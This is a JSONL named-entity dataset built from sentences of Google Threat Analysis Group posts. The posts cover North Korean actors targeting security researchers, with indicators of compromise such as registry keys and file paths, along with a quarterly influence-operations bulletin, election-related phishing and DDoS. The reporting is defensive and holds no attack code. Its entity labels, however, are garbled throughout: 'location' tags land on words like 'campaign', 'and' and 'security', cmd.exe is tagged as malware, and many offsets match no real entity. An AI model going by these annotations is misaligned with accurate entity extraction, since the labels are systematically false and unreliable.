organizations.","entities":[{"id":26905,"label":"location","start_offset":5,"end_offset":13},{"id":26908,"label":"location","start_offset":180,"end_offset":188},{"id":26909,"label":"location","start_offset":199,"end_offset":207},{"id":26910,"label":"location","start_offset":254,"end_offset":257},{"id":26911,"label":"location","start_offset":293,"end_offset":296}],"relations":[],"Comments":[]} -{"id":8710,"text":"The actors behind this campaign, which we attribute to a government-backed entity based in North Korea, have employed a number of means to target researchers which we will outline below.","entities":[{"id":26912,"label":"location","start_offset":23,"end_offset":31},{"id":26914,"label":"location","start_offset":130,"end_offset":135},{"id":26915,"label":"location","start_offset":139,"end_offset":145},{"id":26916,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]} -{"id":8711,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":26917,"label":"location","start_offset":3,"end_offset":7},{"id":26918,"label":"location","start_offset":13,"end_offset":17},{"id":26919,"label":"location","start_offset":18,"end_offset":22},{"id":26920,"label":"location","start_offset":43,"end_offset":51},{"id":26921,"label":"location","start_offset":61,"end_offset":70},{"id":26922,"label":"location","start_offset":81,"end_offset":84},{"id":26923,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} -{"id":8712,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":26924,"label":"location","start_offset":30,"end_offset":33},{"id":26925,"label":"location","start_offset":47,"end_offset":55},{"id":26926,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]} -{"id":8713,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":26927,"label":"location","start_offset":110,"end_offset":113},{"id":26928,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]} {"id":8714,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":26929,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":26930,"label":"location","start_offset":30,"end_offset":33},{"id":26931,"label":"location","start_offset":147,"end_offset":155},{"id":26932,"label":"location","start_offset":169,"end_offset":175},{"id":26933,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]} -{"id":8715,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":26934,"label":"location","start_offset":9,"end_offset":12},{"id":26936,"label":"location","start_offset":141,"end_offset":145},{"id":26937,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]} -{"id":8716,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":26940,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]} {"id":8717,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":26942,"label":"malware","start_offset":80,"end_offset":87},{"id":26943,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]} -{"id":8718,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":26945,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":8719,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":26946,"label":"location","start_offset":26,"end_offset":30},{"id":26948,"label":"location","start_offset":117,"end_offset":121},{"id":26949,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} -{"id":8720,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":26950,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]} -{"id":8721,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":26951,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]} {"id":8722,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":26954,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]} {"id":8723,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]} -{"id":8724,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":26956,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} {"id":8725,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]} -{"id":8726,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":26957,"label":"location","start_offset":115,"end_offset":118},{"id":26958,"label":"location","start_offset":200,"end_offset":203},{"id":26959,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]} -{"id":8727,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":26960,"label":"location","start_offset":7,"end_offset":11},{"id":26961,"label":"location","start_offset":75,"end_offset":78},{"id":26962,"label":"location","start_offset":85,"end_offset":89},{"id":26963,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} -{"id":8728,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":26964,"label":"location","start_offset":8,"end_offset":12},{"id":26965,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]} -{"id":8729,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":26967,"label":"location","start_offset":75,"end_offset":78},{"id":26968,"label":"location","start_offset":92,"end_offset":98},{"id":26969,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]} {"id":8730,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]} -{"id":8731,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":26976,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":8732,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":26977,"label":"location","start_offset":3,"end_offset":6},{"id":26978,"label":"location","start_offset":19,"end_offset":23},{"id":26979,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]} {"id":8733,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]} -{"id":8734,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":26980,"label":"location","start_offset":3,"end_offset":7},{"id":26981,"label":"location","start_offset":17,"end_offset":21},{"id":26982,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]} -{"id":8735,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":26983,"label":"location","start_offset":7,"end_offset":10},{"id":26984,"label":"location","start_offset":30,"end_offset":33},{"id":26985,"label":"location","start_offset":224,"end_offset":233},{"id":26987,"label":"location","start_offset":270,"end_offset":273},{"id":26988,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]} {"id":8736,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":26989,"label":"location","start_offset":0,"end_offset":4},{"id":26990,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":26991,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":26992,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]} {"id":8737,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]} {"id":8738,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]} {"id":8739,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]} -{"id":8740,"text":"This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.","entities":[{"id":26997,"label":"location","start_offset":5,"end_offset":13},{"id":26998,"label":"location","start_offset":23,"end_offset":30},{"id":27001,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} {"id":8741,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]} {"id":8742,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]} -{"id":8743,"text":"This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).","entities":[{"id":27007,"label":"location","start_offset":5,"end_offset":13},{"id":27008,"label":"location","start_offset":14,"end_offset":22},{"id":27009,"label":"location","start_offset":30,"end_offset":37},{"id":27010,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]} -{"id":8744,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27013,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8745,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]} -{"id":8746,"text":"This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.","entities":[{"id":27017,"label":"location","start_offset":5,"end_offset":13},{"id":27018,"label":"location","start_offset":14,"end_offset":22},{"id":27020,"label":"location","start_offset":62,"end_offset":65},{"id":27021,"label":"location","start_offset":73,"end_offset":80},{"id":27023,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]} -{"id":8747,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27025,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":8748,"text":"We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27028,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]} -{"id":8749,"text":"This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.","entities":[{"id":27031,"label":"location","start_offset":5,"end_offset":13},{"id":27032,"label":"location","start_offset":23,"end_offset":30},{"id":27034,"label":"location","start_offset":52,"end_offset":55},{"id":27035,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} {"id":8750,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]} -{"id":8751,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27038,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8752,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]} -{"id":8753,"text":"This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.","entities":[{"id":27042,"label":"location","start_offset":5,"end_offset":13},{"id":27043,"label":"location","start_offset":23,"end_offset":30},{"id":27045,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} {"id":8754,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]} -{"id":8755,"text":"This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.","entities":[{"id":27050,"label":"location","start_offset":5,"end_offset":13},{"id":27051,"label":"location","start_offset":23,"end_offset":30},{"id":27054,"label":"location","start_offset":76,"end_offset":79},{"id":27056,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]} {"id":8756,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]} -{"id":8757,"text":"This domestic campaign posted content supporting the Indonesian government.","entities":[{"id":27061,"label":"location","start_offset":5,"end_offset":13},{"id":27062,"label":"location","start_offset":14,"end_offset":22},{"id":27063,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]} -{"id":8758,"text":"We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":27067,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} -{"id":8759,"text":"This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.","entities":[{"id":27070,"label":"location","start_offset":5,"end_offset":13},{"id":27071,"label":"location","start_offset":21,"end_offset":28},{"id":27074,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]} {"id":8760,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]} {"id":8761,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]} -{"id":8762,"text":"This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.","entities":[{"id":27080,"label":"location","start_offset":5,"end_offset":13},{"id":27081,"label":"location","start_offset":21,"end_offset":28},{"id":27084,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]} -{"id":8763,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27087,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8764,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]} -{"id":8765,"text":"This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.","entities":[{"id":27092,"label":"location","start_offset":5,"end_offset":13},{"id":27093,"label":"location","start_offset":21,"end_offset":28},{"id":27096,"label":"location","start_offset":76,"end_offset":79},{"id":27098,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]} -{"id":8766,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27100,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8767,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]} -{"id":8768,"text":"This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.","entities":[{"id":27105,"label":"location","start_offset":5,"end_offset":13},{"id":27106,"label":"location","start_offset":21,"end_offset":28},{"id":27108,"label":"location","start_offset":38,"end_offset":41},{"id":27110,"label":"location","start_offset":68,"end_offset":71},{"id":27111,"label":"location","start_offset":86,"end_offset":93},{"id":27113,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]} -{"id":8769,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27115,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8770,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]} -{"id":8771,"text":"This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.","entities":[{"id":27120,"label":"location","start_offset":5,"end_offset":13},{"id":27121,"label":"location","start_offset":14,"end_offset":22},{"id":27123,"label":"location","start_offset":53,"end_offset":56},{"id":27124,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]} -{"id":8772,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27125,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":8773,"text":"We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27129,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} -{"id":8774,"text":"This campaign uploaded content in Russian critical of the Ukrainian government.","entities":[{"id":27132,"label":"location","start_offset":5,"end_offset":13},{"id":27133,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]} {"id":8775,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]} -{"id":8776,"text":"The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.","entities":[{"id":27138,"label":"location","start_offset":4,"end_offset":12},{"id":27139,"label":"location","start_offset":22,"end_offset":29}],"relations":[],"Comments":[]} -{"id":8777,"text":"We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":27143,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]} -{"id":8778,"text":"This campaign uploaded content in Arabic about current events in the Middle East and North Africa.","entities":[{"id":27146,"label":"location","start_offset":5,"end_offset":13},{"id":27147,"label":"location","start_offset":23,"end_offset":30},{"id":27150,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8779,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27152,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8780,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]} -{"id":8781,"text":"This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.","entities":[{"id":27157,"label":"location","start_offset":5,"end_offset":13},{"id":27158,"label":"location","start_offset":23,"end_offset":30},{"id":27161,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]} -{"id":8782,"text":"The campaign targeted the Central African Republic and Mali.","entities":[{"id":27163,"label":"location","start_offset":4,"end_offset":12},{"id":27165,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8783,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":27167,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":8784,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]} -{"id":8785,"text":"This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.","entities":[{"id":27172,"label":"location","start_offset":5,"end_offset":13},{"id":27173,"label":"location","start_offset":14,"end_offset":22},{"id":27174,"label":"location","start_offset":32,"end_offset":39},{"id":27176,"label":"location","start_offset":89,"end_offset":92},{"id":27179,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]} {"id":8786,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]} -{"id":8787,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.","entities":[{"id":27184,"label":"location","start_offset":38,"end_offset":45},{"id":27186,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]} -{"id":8788,"text":"A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.","entities":[{"id":27187,"label":"location","start_offset":7,"end_offset":12},{"id":27188,"label":"location","start_offset":29,"end_offset":36},{"id":27190,"label":"location","start_offset":48,"end_offset":51},{"id":27193,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":8789,"text":"We received leads from Graphika and Fireye that supported us in this investigation.","entities":[{"id":27197,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} -{"id":8790,"text":"These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.","entities":[{"id":27199,"label":"location","start_offset":15,"end_offset":18},{"id":27201,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]} -{"id":8791,"text":"Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.","entities":[{"id":27203,"label":"location","start_offset":0,"end_offset":5},{"id":27204,"label":"location","start_offset":28,"end_offset":31},{"id":27205,"label":"location","start_offset":82,"end_offset":85},{"id":27208,"label":"location","start_offset":158,"end_offset":161},{"id":27209,"label":"location","start_offset":183,"end_offset":186},{"id":27210,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]} -{"id":8792,"text":"As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.","entities":[{"id":27212,"label":"location","start_offset":85,"end_offset":88},{"id":27213,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} {"id":8793,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":27215,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":27217,"label":"location","start_offset":113,"end_offset":116},{"id":27220,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} {"id":8794,"text":"We haven’t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]} {"id":8795,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":27224,"label":"location","start_offset":35,"end_offset":38},{"id":27227,"label":"location","start_offset":83,"end_offset":91},{"id":27228,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":27229,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]} {"id":8796,"text":"As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.","entities":[{"id":27231,"label":"location","start_offset":65,"end_offset":69},{"id":27232,"label":"attack-pattern","start_offset":77,"end_offset":93}],"relations":[],"Comments":[]} -{"id":8797,"text":"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.","entities":[{"id":27235,"label":"location","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]} -{"id":8798,"text":"The malware was a python-based implant using Dropbox for command and control.","entities":[{"id":27238,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} -{"id":8799,"text":"It would allow the attacker to upload and download files as well as execute arbitrary commands.","entities":[{"id":27239,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]} {"id":8800,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]} {"id":8801,"text":"In one example, attackers impersonated McAfee.","entities":[],"relations":[],"Comments":[]} {"id":8802,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]} -{"id":8803,"text":"When we detect that a user is the target of a government-backed attack, we send them a prominent warning.","entities":[{"id":27244,"label":"location","start_offset":34,"end_offset":40},{"id":27245,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} -{"id":8804,"text":"In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.","entities":[{"id":27246,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} {"id":8805,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]} -{"id":8806,"text":"Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.","entities":[{"id":27248,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]} -{"id":8807,"text":"U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.","entities":[{"id":27251,"label":"location","start_offset":67,"end_offset":70},{"id":27252,"label":"location","start_offset":112,"end_offset":115},{"id":27253,"label":"location","start_offset":135,"end_offset":143},{"id":27254,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]} -{"id":8808,"text":"This has resulted in action on our platforms, as well as others.","entities":[{"id":27255,"label":"location","start_offset":21,"end_offset":27}],"relations":[],"Comments":[]} {"id":8809,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]} -{"id":8810,"text":"We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).","entities":[{"id":27266,"label":"location","start_offset":99,"end_offset":104},{"id":27269,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]} -{"id":8811,"text":"To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.","entities":[{"id":27271,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]} -{"id":8812,"text":"Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.","entities":[{"id":27275,"label":"location","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]} -{"id":8813,"text":"This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.","entities":[{"id":27278,"label":"location","start_offset":55,"end_offset":58},{"id":27279,"label":"location","start_offset":118,"end_offset":121},{"id":27280,"label":"location","start_offset":137,"end_offset":144},{"id":27282,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]} -{"id":8814,"text":"A small fraction of these spam channels will then post videos about current events.","entities":[{"id":27283,"label":"location","start_offset":2,"end_offset":7},{"id":27284,"label":"location","start_offset":40,"end_offset":44},{"id":27285,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8815,"text":"Such videos frequently feature clumsy translations and computer-generated voices.","entities":[{"id":27286,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]} -{"id":8816,"text":"Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).","entities":[{"id":27288,"label":"location","start_offset":24,"end_offset":27},{"id":27290,"label":"location","start_offset":108,"end_offset":115},{"id":27293,"label":"location","start_offset":162,"end_offset":165},{"id":27295,"label":"location","start_offset":211,"end_offset":216},{"id":27296,"label":"location","start_offset":227,"end_offset":234},{"id":27298,"label":"location","start_offset":246,"end_offset":249},{"id":27301,"label":"location","start_offset":324,"end_offset":331},{"id":27303,"label":"location","start_offset":366,"end_offset":369}],"relations":[],"Comments":[]} {"id":8817,"text":"As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]} {"id":8818,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]} -{"id":8819,"text":"This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.","entities":[{"id":27307,"label":"location","start_offset":16,"end_offset":19},{"id":27310,"label":"location","start_offset":69,"end_offset":72},{"id":27312,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]} -{"id":8820,"text":"In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.","entities":[{"id":27315,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]} -{"id":8821,"text":"One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.","entities":[{"id":27318,"label":"location","start_offset":4,"end_offset":12},{"id":27319,"label":"location","start_offset":33,"end_offset":36},{"id":27320,"label":"location","start_offset":54,"end_offset":60},{"id":27321,"label":"location","start_offset":71,"end_offset":77},{"id":27322,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]} -{"id":8822,"text":"In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.","entities":[{"id":27323,"label":"location","start_offset":14,"end_offset":22},{"id":27324,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]} {"id":8823,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.","entities":[{"id":27325,"label":"location","start_offset":56,"end_offset":59},{"id":27326,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":27327,"label":"location","start_offset":108,"end_offset":111},{"id":27328,"label":"location","start_offset":205,"end_offset":208},{"id":27329,"label":"location","start_offset":214,"end_offset":220},{"id":27330,"label":"location","start_offset":230,"end_offset":234},{"id":27331,"label":"location","start_offset":247,"end_offset":253},{"id":27332,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]} {"id":8824,"text":"While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":27333,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":27334,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]} {"id":8825,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are 